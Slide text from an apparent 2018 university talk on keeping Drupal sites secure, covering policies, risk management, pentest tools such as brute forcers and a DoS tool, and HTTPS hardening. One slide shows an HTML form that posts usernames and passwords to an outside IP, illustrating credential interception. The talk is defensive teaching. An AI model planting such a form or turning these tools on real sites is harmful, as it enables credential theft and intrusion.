one drupal in the bucket · 2018-11-16 · one drupal in the bucket: keeping web infrastructure...

One Drupal In the Bucket:Keeping Web Infrastructure Safe from the Flood

Eric Samboy

Hayden Bacon

2

The day I came to the USA

3

Beautiful Country

4

Ready for crossing the street?

5

Quick Warmup

6

Website Hacking Statistics

• 1.86 billion websites on the internet.

[0] https://www.securityweek.com/185-million-websites-infected-malware-any-time

[1] https://www.webarxsecurity.com/website-hacking-statistics-2018-february/

• 1% of these websites are known to be infected.

7

How does SASG use Drupal?

• About 100 Drupal UA websites.

• UA Quickstart & UA Zen

8

How big is Drupal?

• One of the largest open source communities in the world.

• Used by more than 1 million sites on the internet.

• 800 thousand Drupal 7.x

• 225 thousand Drupal 8.x

9

Security Concerns

• Greater risk of being attacked.

• More vulnerabilities are discovered and exploited

• How do we keep our web infrastructure safe?

https://www.keycdn.com/blog/drupal-security

10

Outline

• Our Drupal Security Policies• Drupal Modules

• Drupal Core

• Access Control

• Security Awareness

• UA Cybersecurity Framework• Risk Management & Analysis

• Security Best Practices

11

Our Drupal Security Policies

• Keep Drupal and Modules updated

• Access Control

• Security Awareness

• Contributed Modules Installation

12

Our Drupal Security Policies

Contributed Modules Installation

13

Risk Management

• Guidance to mitigate cyber risks

National Institute of Standards and Technology (NIST) Framework

• Best practice

• Business continuity plan

https://confluence.arizona.edu/display/UAIS/UA+Cybersecurity+Framework+and+Risk+Assessment

14

Risk Management

• Asset Management

• Business Environment

• Governance

• Risk Assessment

• Risk Management Strategy

15

Risk Management

• Access Control

• Awareness & Training

• Data Security

• Policies & Procedures

• Maintenance

• Protective Technology

16

Risk Management

• Anomalies & Events

• Continuous Monitoring

• Detection Processes

17

Risk Management

• Response Planning

• Communications

• Analysis

• Mitigation

• Improvements

18

Risk Management

• Recovery Planning

• Improvements

• Communications

Conclusion

19

What to take away.

• Doors are only as secure as their locks.

• We all have the responsibility to follow best practice.

And now…

20

Hayden will cover:

• Drupal Penetration Testing

• More Security Policies

• Drupal statistics

• Being afraid, but not too afraid

Drupal Penetration Testing

21

1. What do we look for?

2. What tools do we use?

Drupal Penetration Testing

22

What to look for• HTTP or HTTPS

• Drupal version

• PHP version

• Apache version

• OS version

• Reverse Proxies

• Custom Modules

• Passwords

Drupal Penetration Testing

23

Drupwn

What tools we use

Enumeration tool:

• User enumeration

• Node enumeration

• Default files enumeration

• Module enumeration

• Theme enumeration

• Cookies support

• User-Agent support

• Basic authentication

support

• Request delay

• Enumeration range

• Logging

• Socks and HTTP proxy

support

Drupal Penetration Testing

24

Drupwn

What tools we use

Drupal Penetration Testing

25

X Brute Forcer

What tools we use

Brute force passwords for:

• WordPress

• Joomla

• Drupal

• OpenCart

• Magento

Drupal Penetration Testing

26

What tools we useX Brute Forcer

Drupal Penetration Testing

27

What tools we useX Brute Forcer

Drupal Penetration Testing

28

What tools we useX Brute Forcer

Drupal Penetration Testing

29

Switchblade HTTP DoS Tool

What tools we use

Drupal Penetration Testing

30

OWASP Switchblade

What tools we use

Drupal Penetration Testing

31

OWASP Switchblade

What tools we use

32

More Drupal Security Policies

• Serve over HTTPS

• File permissions

• Secure connections

• Database Security

• Hardened HTTPS Security

• Drupal Security Modules

33

More Drupal Security Policies

Why serve over HTTPS?

34

More Drupal Security Policies

Why serve over HTTPS?

“All websites should use HTTPS, even

if they don't include private content,

sign-in pages, or credit card details.”- UK National Cyber Security Centre

[0] https://www.ncsc.gov.uk/blog-post/serve-websites-over-https-always

35

More Drupal Security Policies

Why serve over HTTPS?

[0] https://www.ncsc.gov.uk/blog-post/serve-websites-over-https-always

36

More Drupal Security Policies

Why serve over HTTPS?

<form action=“http://34.218.2.81/notyourform” method=“POST”>

<input name=“username” value=“username”>

<input name=“password” value=“password”>

</form>

37

More Drupal Security Policies

Why serve over HTTPS?<!-- Google Analytics -->

<script>

(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){

(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),

m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)

})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

ga('create', 'UA-XXXXX-Y', 'auto');

ga('send', 'pageview');

</script>

<!-- End Google Analytics -->

38

More Drupal Security Policies

Why serve over HTTPS?

39

More Drupal Security Policies

Use only secure connections:

40

More Drupal Security Policies

Use only secure connections:

41

More Drupal Security Policies

Databases:

42

More Drupal Security Policies

Database Best Practices:

• Use different database credentials between environments.

• Use a longer random password, which should not contain

special characters, except : @ . , / + - ! =

• Use a random table name prefix.

43

More Drupal Security Policies

HTTP Strict-Transport-Security:

44

More Drupal Security Policies

Public Key Pinning:

45

More Drupal Security Policies

These modules can help you:

• Login Security: Limit number of login attempts and deny access by IP address.

• ACL: Access control lists for access to nodes.

• Password policy: Define more security password policies for users.

• Captcha: Block form submissions from spambots/scripts.

• Automated Logout: Allows administrator ability to log out users after specified time period.

• Session Limit: Limit the number of simultaneous sessions per user.

• Content Access: Permissions for content types by role and author.

• Coder: Checks your Drupal code against coding standard and best practices.

• SpamSpan filter: Obfuscates email address to help prevent spambots from collecting them.

• Hacked!: Check to see if there have been changes to Drupal core or themes.

46

326 Vulnerabilities Reported

47

326 Vulnerabilities Reported

[0] https://www.cvedetails.com/vendor/1367/Drupal.html

48

328 Vulnerabilities Reported

[0] https://www.cvedetails.com/vendor/1367/Drupal.html

What are attackers using?

49[0] https://sucuri.net/reports/Sucuri-Hacked-Report-2017.pdf

What are attackers using?

50

Backdoor: Artifacts used to re-infect or retain

access.

What are attackers using?

51

Backdoor: Artifacts used to re-infect or retain

access.

Malware: Generic browser-side code to trigger

malware downloads.

What are attackers using?

52

Backdoor: Artifacts used to re-infect or retain

access.

Malware: Generic browser-side code to trigger

malware downloads.

SEO Spam: Create dummy content with

backlinks to another website, to boost SEO.

What are attackers using?

53

Mailer: Abuse server resources to send spam

email.

What are attackers using?

54

Mailer: Abuse server resources to send spam

email.

Phishing: Attempts to trick users into sharing

sensitive information.

55

Drupal is Lucky

[0] https://sucuri.net/reports/Sucuri-Hacked-Report-2017.pdf

56

% of top 10M websites CMS Market Share

[0] https://w3techs.com/technologies/overview/content_management/all

Drupal is Lucky

57

Drupal is Lucky

[1] https://sucuri.net/reports/Sucuri-Hacked-Report-2017.pdf[0] https://w3techs.com/technologies/overview/content_management/all

58

Drupal is Lucky1. Alex Bronstein (effulgentsia) - IRC nick: effulgentsia, Organization: Acquia

2. Alex Pott (alexpott) - IRC nick: alexpott, Organization: Acro Media, Thunder

3. Angie Byron (w ebchick) - IRC nick: w ebchick, Organization: Acquia

4. Ben Dougherty (benjy) - IRC nick: benjy, Organization: PreviousNext

5. Ben Jeavons (coltrane) - IRC nick: coltrane, Organization: CARD.com6. Cash Williams (cashwilliams) - IRC nick: CashWilliams, Organization: Acquia

7. Cathy Theys (YesCT) - IRC nick: YesCT, Organization: BlackMesh

8. Chris McCafferty (cilefen) - IRC nick: cilefen, Organization: Institute for Advanced Study

9. Damien McKenna (DamienMcKenna) - IRC nick: dmckenna, Organization: Mediacurrent

10. Dan Smith (galooph) - IRC nick: galooph, Organization: Code Enigma11. Dave Reid (Dave Reid) - IRC nick: davereid, Organization: Lullabot

12. David Rothstein (David_Rothstein) - IRC nick: David_Rothstein, Organization:

13. David Snopek (dsnopek) - IRC nick: dsnopek, Organization: myDropWizard

14. David Stoline (dstol) - IRC nick: dstol, Organization: Acquia

15. David Strauss (David Strauss) - IRC nick: davidstrauss, Organization: GetPantheon16. Dries Buytaert (Dries) - IRC nick: Dries__, Organization: Acquia

17. Gerhard Killesreiter (killes@www.drop.org) - IRC nick: killes, Organization:

18. Greg Knaddison (greggles) - IRC nick: greggles, Organization: CARD.com

19. Heine Deelstra (Heine) - IRC nick: Heine, Organization: LimoenGroen

20. Ivo Van Geertruyen (mr.baileys) - IRC nick: mrbaileys, Organization: Calibrate21. James Gilliland (neclimdul) - IRC nick: neclimdul, Organization: APQC

22. Lee Row lands (larowlan) - IRC nick: larow lan, Organization: PreviousNext

23. Michael Hess (mlhess) - IRC nick: digiv, Organization: University of Michigan

24. Mike Potter (mpotter) - IRC nick: mpotter, Organization: Phase2

25. Mori Sugimoto (dokumori) - IRC nick: dokumori, Organization: Share & Thrive26. Moshe Weitzman (moshe w eitzman) - IRC nick: moshe_w ork, Organization:

27. Nathaniel Catchpole (catch) - IRC nick: catch, Organization: Tag1 Consulting

28. Neil Drumm (drumm) - IRC nick: drumm, Organization: Drupal Association

29. Peter Wolanin (pw olanin) - IRC nick: pw olanin, Organization: BioRAFT

30. Stefan Ruijsenaars (stefan.r) - IRC nick: stefan_r, Organization: Ruijsenaars Development31. Stella Pow er (stella) - IRC nick: stella, Organization: Annertech

32. xjm (xjm) - IRC nick: xjm, Organization: Acquia

59

In Conclusion